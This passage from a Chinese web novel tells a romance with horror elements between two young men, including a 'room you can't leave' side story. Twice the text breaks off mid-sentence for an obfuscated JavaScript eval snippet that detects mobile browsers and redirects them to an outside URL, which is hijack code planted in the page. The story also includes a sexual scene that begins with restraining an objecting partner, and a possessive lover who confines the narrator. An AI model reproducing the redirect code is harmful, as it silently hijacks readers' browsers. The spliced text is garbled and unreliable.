许昌站的远远的,手里不知何时偷偷拿了一把刀:“你说有人给钱,是谁?” 邬言辞掀起眼帘看了许昌一眼,往右边走了一步,就露出了他身后的人--许然。 许然半边身子都是血,皮肤苍白,脸上的血迹和发来的视频里一模一样,宛如地狱里爬出来的修罗,他的眼神呆滞无神,却在看到许昌时忽然聚焦,直直看了过去,轻声道:“是你。” “是你害死了我。” 许昌一下噤声,跌坐在地上,想到手机里的视频,他举起手里的刀,问:“你,你是人是鬼?” “我是你的儿子呀,”许然一步一步靠近许昌,步伐僵硬,看起来有些诡异,他从口袋里拿出来一叠东西,洋洋洒洒扔在空中:“你要的钱,我给你带来了,你看,够多吗?” 刘丽娜哆哆嗦嗦捡起来一张,一看是百万额度的冥币,吓得晕了过去。 许昌软着腿拿着刀:“我知道了,我知道了,那个家伙是来帮你复仇的对不对……” 许昌看向邬言辞,目光带了不解和畏惧:“他现在已经不是人了!你为什么还要帮他?” 真正不是人的邬言辞嘴角缀着一抹笑,甜蜜地靠在了面无表情的许然肩膀上:“因为我爱他,无论他是人还是什么东西,我都爱他,小然肯定也是这样的,对吧?” 邬言辞的话仿佛在暗示着什么,许然垂眸,没有说话,当真像是一个失去感知,只知道复仇的恶鬼。 许昌骂道:“你是疯了吗?” “也许是吧,毕竟我爱他爱到无法自拔,哪怕他是鬼,我也要和他永远在一起,说不定还要办一场盛大的冥婚,岳父大人会赏脸参加吗?” 许然忍住抽动的嘴角,静静看邬言辞演。 许昌活这么多年,这种人还是第一次见,已经被震惊到说不出话,然而面前两个却还在咄咄逼人。 邬言辞嘴角还留存着有些残忍的笑:“一命换一命,你害了我男朋友的命,现在该轮到你了。” 随着邬言辞的出声,许然也慢慢继续向许昌走近,而他已经退无可退,眼见着俩人离自己越来越近,许昌只能鼓起勇气,扶着旁边的凳子战战兢兢站了起来,流着泪大喊:“……无论你是什么东西,都去死吧!” 说完便拿着刀向许然砍去,但是邬言辞却闪身挡在了身前,同时门被推开,几名警察一拥而入:“放下手里的刀!” 至此,闹剧结束。 许昌怔了片刻,才想明白什么,手中的刀滑落在地发出“哐当”一声,被警察押离时,他还恨恨地盯着他们两个,目光像是要将二人身上烧出一个洞来。 而刘丽娜自醒来后就神志不清,看到许然和邬言辞二人就大喊:“鬼啊,鬼!”,导致口供都无法核对。最后鉴定结果出来,竟是患上了精神障碍,便关进了疗养院。 男生被举报手持他人隐私照进行敲诈勒索,一并被处理。 邬言辞拿出湿巾,像是在擦什么易破损的珍宝般,一点点仔细擦掉许然脸上的可食用血浆,露出许然原本的脸。 许然侧头,轻声道:“合作愉快,我的小怪物。” 18. 不xx就出不去的房间(上)[番外] -时间线为邬言辞和许然在一起后的平行世界- 许然醒来后发现自己在一个陌生的房间里,这里只有一张床,一盏台灯,一个床头柜,还有身边同样茫然的邬言辞。 “这是哪?”许然疑惑道。 自己只是在家里和爱人邬言辞在周末睡了一个懒觉,怎么会跑到人生地不熟的地方来。 “我也不知道,不过小然你看,墙上有字。” 顺着邬言辞的指向,许然看了过去,果然发现洁白的墙上浮现了几行字: --这是一间两情相悦的人才能出去的房间。 --如果你想要出去。 --可以尝试将门打开。 看到这个提示,许然立刻道:“我去开门吧,这鬼地方我是一点都不想待下去了。” 许然压根就没有怀疑过他们两个会不能走出这个房间,于是快步走向门口,伸手去拉门把手,但他惊讶的是,自己居然没拉动。 许然不信邪地再试了几次,还是没有打开。 在一起一年多了,他从没想到邬言辞和自己居然会不是两情相悦,无疑,他是爱邬言辞的,难道是邬言辞…… 许然想着,顿时不可置信地往后转,就看到邬言辞眼底像是一整块碎冰,正阴沉地看着自己。 他还真敢戏弄自己的感情。 许然垂眸,指尖却不断颤抖,如果是这样,他也没必要再继续这段感情了。 还记得在大学社团初见时邬言辞给他带来的惊艳,这是许然第一次见到五官如同上帝缔造的人类,完美无瑕。 本以为两人会就此错过,却没想到后面的交集却巧合地越来越多,每次参加社会实践和社团活动,自己都恰好和邬言辞一个组。 其实许然对于这个长相漂亮,善于交际,让所有人都对他心生好感的男生并没有什么感觉。 人人都喜欢他,所以许然就不喜欢他。 他偏要做那特别的一个。 他没有人爱,所以越发见不得被大家疼爱的人。 直到某天,他完成小组作业比较晚,最后只剩他一个人在教室,一只骨节分明的手接过了许然的电容笔,邬言辞嘴角含笑:“我可以帮你完成这个小组作业,我比较有经验。” 许然乐得清闲,爱当老好人?让他当。 于是他虚伪地真诚道:“……那真是麻烦你了,邬学长。” 邬言辞的效率很高,把许然之前划分不清楚的地方三俩下解决了,完成后,他将平板还给许然,问:“小然看看做的还满意吗,有没有需要修改的地方。” 满意,简直满意地不得了。 “不需要,已经很好了。真是麻烦你了,下次请你喝奶茶。” “奶茶就不必了,”邬言辞转动手里的笔,歪头道,“我只想问你一个问题。” 许然点头:“你说。” “为什么你那么不喜欢我,是对我有什么偏见吗?还是我哪里做错了惹你讨厌了?” 许然一下没反应过来,蹙眉道:“什么?” 邬言辞一步一步逼近许然,脸上还带着那纯真温柔的笑:“我在说,我创造了那么多巧合接近你,想尽办法在每次交接物品的时候碰你的手,在每一次公共课都抢你身边的位置坐,你是分毫未察,还是当真讨厌我到了已经无视我的地步呢?” 邬言辞把电容笔还给许然,许然怔神,下意识接过,邬言辞却没松手,拿着笔的手忽然往前了一段距离,这样许然接笔的时候,就不可避免要碰到邬言辞的手指。 “对,我就是像这样处心积虑地触碰你,每次碰到你,我都爽的不行。” 许然抬头,小声道:“你想表达什么呢?” “我想表达,我喜欢你。” 许然沉默良久,慢慢道:“不好意思,我不喜欢你,请你放手吧。” 说完,他便要转身离开。邬言辞是上帝的宠儿,他要是相信邬言辞会喜欢自己,天上都能掉馅饼,母猪都能上树。 可是邬言辞忽然从身后抱住他,头靠在许然的肩膀上,这个姿势未免有些亲密和冒犯,许然讨厌别人离自己这么近,这只会让他觉得不适应和肮脏,可是斥责的话还没说出口,他就已经感受到了邬言辞靠的地方传来一阵湿润的感觉。 邬言辞哭了。 那个在大家面前高不可攀的,永远戴着温柔面具的邬言辞在他面前哭了,还哭的楚楚可怜,整个人一耸一耸的,好像经历了什么非常难过痛苦的事情。 腰上传来的力度越来越大,让他完全无法挣脱,许然不得不面对邬言辞:“……你哭什么。” 邬言辞抬起湿漉漉的眼睛:“你不爱我。” “可是你有很多人的爱。” “我只要你的爱,”邬言辞固执道,“我只想要你的爱。” 许然演不下去了,嗤笑一声:“你知道真正的我是怎样的吗?就一口一个爱,我可不像表面那样乖巧,我恶毒,我自私,我……” 邬言辞伸出手指在许然的唇上比了个噤声的手势:“我知道,我都知道,你不准这样说自己,你在我眼里不是这样的。” 许然冷眼看着邬言辞,就见他靠近许然,慢慢将他的手扣在脑后,他渴求道:“你给我一个机会,如果我做完这件事情,你还是不想接受我,那我就再也不打扰你了,好不好?” “哦,好啊。”许然不甚在意道。 他倒是要看看邬言辞想做什么。 邬言辞的耳朵红了,他先是含羞地看了许然一眼,便脱下外套把许然的手给绑住了,他轻声说:“第一次,可能不是很熟练,小然不舒服就和我说哦。” 许然不知道他到底想要做什么,直到邬言辞开始褪去他的裤子,他才意识到什么,立刻恶声道:“你要是敢强了我,我会立刻出去报警,在校园墙写遍你的事迹,让你臭名远昭。” “我不会的。”邬言辞说。 许然信他个鬼,他身下已经什么都没有了,他感到羞耻又觉得有些愤怒,一脚踹在邬言辞的心口,却被邬言辞握住,脱掉了鞋子,他几乎是色.情地在腿上摸了一下,看到许然恶寒的表情才停手,然后张开红润的唇,往许然的小腹凑。 许然的表情一下由恶心转为了震惊,他发出小声的惊呼:“你……你在干嘛!” 这比强了他还让他不可置信,那个人人追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405363|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捧的天之骄子居然主动为他…… 许然可以感受到对方技术的青涩,但是按不住许然是第一次,震惊消散后,就只剩余舒服和快感。 他咬紧牙关不让自己发出声音,但是蜷缩的脚趾和紧扣着课桌的手指暴露了他的不宁静,教室的气温不断升高,许然的脸爆红,还好现在时间比较晚,没有人会经过这里,否则他们就会看到他们心中的偶像居然在一个冷清的教室里为一个不知名的少年做何等龌龊的事情。 许然越想越觉得刺激,他想伸直腿把邬言辞踹开,可是邬言辞做了一个让他浑身发颤的动作,让他的声音都忍不住带上了哭腔:“别……我不动了……你慢点,太深了呀……!” ……(省略) 不知道过去了多久,邬言辞终于退了出来,嘴角还带着一丝白色奶油状的液体。 “你……你……”许然小口喘着气,脸红着不知道说什么,声音发颤,“先把我的手解开……” 邬言辞的声音有些哑:“好的,宝宝。” 说完他便开始慢慢解开手上打的死结,他解开的速度非常慢,在许然的手臂和手指交缠了一会儿才打开,他给许然揉着手腕,像是怕勒痛了他,然后轻声在他耳边蛊惑道:“小然喜欢吗?要不要考虑和我在一起?” 许然的手脚还在发软,心中却百转千回。 不得不说,真的爽。 一朵无人能采摘的高岭之花独独为你绽放,别人高不可攀的完美少年只为了你而坠落凡间,将污浊和欲望揉搓在一起,织成一座名为爱的捕梦网。 说实话,这个诱惑真的很难抗拒,他原以为邬言辞只是开玩笑,却没想到这么洁白漂亮的东西就真的愿意被自己扯入淤泥之中,在惊讶过后,他只有一种把白纸抹脏,把堆好的城堡推倒的痛快。 他喜欢这种感觉。 他们说这叫破坏欲。 那许然确实很喜欢破坏这样一个漂亮的玩具,于是他居高临下地看着邬言辞,思考片刻后轻声道:“那好吧,你被录用了,我的男朋友。” 在这一年的时间里,邬言辞高调求爱,让每个人都知道许然的存在,一开始,有人反对,认为许然配不上他,说邬言辞是被许然胁迫的,但每个这样说的人都被邬言辞加入了黑名单,并且被他以各种形式排挤,渐渐的,便再没人敢这样说了。 邬言辞的忠诚和乖巧无疑给了许然不少的虚荣感,这也是许然沦陷的原因之一,但还有很多其他的,就说不清了,总之,现在他们就是一对甜蜜的,恩爱的,平凡的情侣。 -- 在许然开口质问邬言辞前,邬言辞先道:“小然,你是信这个诡异房间说的话,还是信我们是相互深爱着对方的?” 许然愣了一下,对啊,这个房间本就奇怪,说的话也不尽然是可信的。 许然缓缓点了点头,紧攥的手指慢慢松开:“你说得对,” “那我们现在要怎么出去?” 邬言辞意味不明地盯着墙上的字看了一会儿,然后轻笑一声,扶着许然在床上坐下:“我也不知道,也许等会儿就有答案了,小然,你告诉我,刚才你没打开门的时候,在想什么?” 19. 不xx就出不去的房间(下)[番外] “我……”许然迟疑了,他忽然觉得自己有些罪过,居然会因为这个古怪的房间而怀疑自己的爱人。 “你以为我不爱你,对吗?” 邬言辞的目光如炬,直直看向许然的内心。 许然无奈承认道:“确实有那么一瞬间是这么想的……” 邬言辞叹了口气,慢慢将许然的手包进掌心:“你不需要怀疑我,我不可能不爱你,如果你不信,我可以证明给你看。” 邬言辞说完,将许然的手往下移,直到移到小腹往下才停住,他轻笑一声,然后吻住许然。 许然立刻感觉到手里的东西变得炙热滚烫起来,他吓的松了手,却被邬言辞死死按住,慢慢地,邬言辞放过他的嘴唇,轻声道:“宝宝,反应是不会骗人的。” “哎呀知道了,”许然还是不习惯邬言辞的放荡行为,他碰了碰自己发烫的脸,侧过头有些别扭道,“我就是犹豫了那么一下而已,又没说你什么。” 邬言辞忽然道:“墙上又出现新的字了。” “哦?”让他看看这白墙又要胡说八道什么东西。 原先的字迹已经消失,新的黑体字浮现在上面。 --检测到条件不满足 --规则发生变化 --只有深爱对方的人才能打开门 如果身边有称手的东西,许然肯定会第一时间砸在墙上,上次就蒙骗了他们,这次还想挑拨离间。 虽然面上并没有表现出来,但邬言辞已经感觉到许然的不耐烦,他轻声安慰了许然几句,然后道:“要不现在再试一下吧,小然,说不定这次能打开了呢?” 也只能这样了。 许然叹了口气,再次跟着邬言辞走到门口,希望这次能把门打开。 而邬言辞似乎比他还要更紧张,眼睛死死盯着许然放在门把手上的手,一下都不眨,意识到许然正在看自己,邬言辞问:“怎么了?” 许然回答:“没有,就是觉得你是不是很担心这个结果啊?” “怎么会呢,小然,刚刚都说了,这个房间的规定不一定是真的,我在意这个结果做什么。我只需要相信我们是真心互相喜欢的就可以了。” 听了这话,许然才放下心来,他有种强烈的预感,那就是自己打不开这扇门,于是他说:“那如果我没打开,你可别哭鼻子。” 邬言辞点点头,催促道:“知道啦,快尝试开门吧。” 许然用力一扭,门没被推开。 果然。 邬言辞的笑容有些僵硬,他的声线有些刻意地往上扬:“真讨厌啊……该死的规定。” 许然拍拍邬言辞的背,说实话,他也有些无奈和崩溃了,这还是他第一次遇到超自然的现象,要不是有邬言辞在,自己估计早就失控受不了了。 既然暂时出不去,许然只能先回到床边休息,而邬言辞还盯着墙上的字和门锁看,不知道在想什么。 刚走到床边,许然就发现枕头底下有半页纸质的角露了出来,他掀开枕头,发现居然是一张被叠起来的纸,这也许是这个诡异房间的唯一一个线索,说不定他可以在上面找到出去的办法。 许然激动地打开纸张,里面的字却给他泼了一桶冷水。 --墙壁上的规则是真的 --不爱对方的人永远离不开房间 --切记,爱上他,爱上他才是唯一的钥匙 --我必须爱他 最后这句话被写的歪七扭八,力道透过了纸张,将其划破,看上去似乎很是痛苦,并且似乎这样做还不够,整下纸张空白的地方全都是这句话,诡异且瘆人。 当然,最让许然害怕的是,这张纸的主人字迹居然和自己有八成相似。 这张纸的主人告诉他,房间的一切都是真的,那也就是说,他们不是两情相悦的,自己并没有深爱着邬言辞,可是这和他记忆里完全对不上啊,他们有一段美好的恋爱时光,他明明非常非常爱邬言辞啊。 为了验证信上所言是真是假,他决定测试一下邬言辞。 就在这时,邬言辞的声音在背后响起:“小然,你在看什么呢?” 许然手一抖,莫名不想让邬言辞知道这张纸条的存在,假装铺平被子,将纸条藏在了枕头之下,回头微笑道:“没什么,走神了。” 没有给邬言辞继续询问的机会,许然走到邬言辞身边,抬头问:“刚刚都是我在开门,你不试试吗?” 邬言辞:“我?” “对啊,条件是深爱对方的人就可以开门,你不是很爱我吗?” 邬言辞状似无奈地笑了笑:“怎么小然也相信起了墙上那些鬼话?” 看他这样是不打算开门了,许然别过头:“我就是想你也去试一下啊,你要是不开门,我就不理你了。” 虽然这个方法很幼稚,但是百分百对邬言辞管用。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405364|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>邬言辞连忙抱住许然:“我开,小然别不理我,别生气好不好。” 许然转过身,对着门把手一仰头,意思很明确了,现在就开。 邬言辞犹豫片刻,终于把手放在了门把手上,见邬言辞迟迟不动作,许然直接伸手盖在邬言辞的手上往下一拉。 看吧,纸条和墙上的字都是骗人的,他就说这个门是打不开的…… 不对。 门被打开了。 非常轻松,许然甚至没有用力。 门刚打开,邬言辞就再次关上了,他脸上还带着笑意:“小然,满意我的答案吗?” “我……我,”许然有些惶恐地退后了几步,“这不对呀,邬言辞,我爱你的。” 邬言辞笑地更甜了,他弯起星辰一般璀璨的眸:“我当然相信小然啦,小然的爱只是没那么多,所以没有通关而已吧。” 他好像在为许然开脱,又好像在为自己解释什么。 许然不知不觉退到了角落,现在的邬言辞好像和记忆中不太一样,虽然面上温柔无害,可是浑身散发着危险的气息和不满的情绪,每走一步似乎都代表了邬言辞的一句句质问。 问许然为什么不爱自己。 问许然为什么要害怕他。 问许然为什么不能乖乖留在他身边。 邬言辞抚上许然的脸颊,在他耳边如情人般低语:“没事的,余生小然就在这里,慢慢学会怎么爱上我吧。” -- 昏暗无光的卧室里,邬言辞贴在许然身上,看着他紧皱着眉头,不由得伸手帮许然抚平,他发出舒服的轻叹:“在一起了就不能随便分开的呀,小然。” “你学不会爱没有关系。” “我会慢慢教你的。” 放在旁边的手机里不断传来微信提示声,许然的信息高达99+,好像有一段时间没有被使用了,其中最前面的就是他室友发来的信息。 --你真的要和邬言辞分手吗? --他真的是个疯子,是个神经病,有时候我甚至怀疑他根本不像一个正常的人类你知道吗,我当初就告诉你了,要是这种人在一起了绝对不能分开…… --他会发疯的。 叮咚。 微信在刚才有了新回复。 “许然”:嗯,你说得对,不过我现在考虑好了,我还是爱邬言辞,我现在和他复合了。请祝我们99吧。(^_^)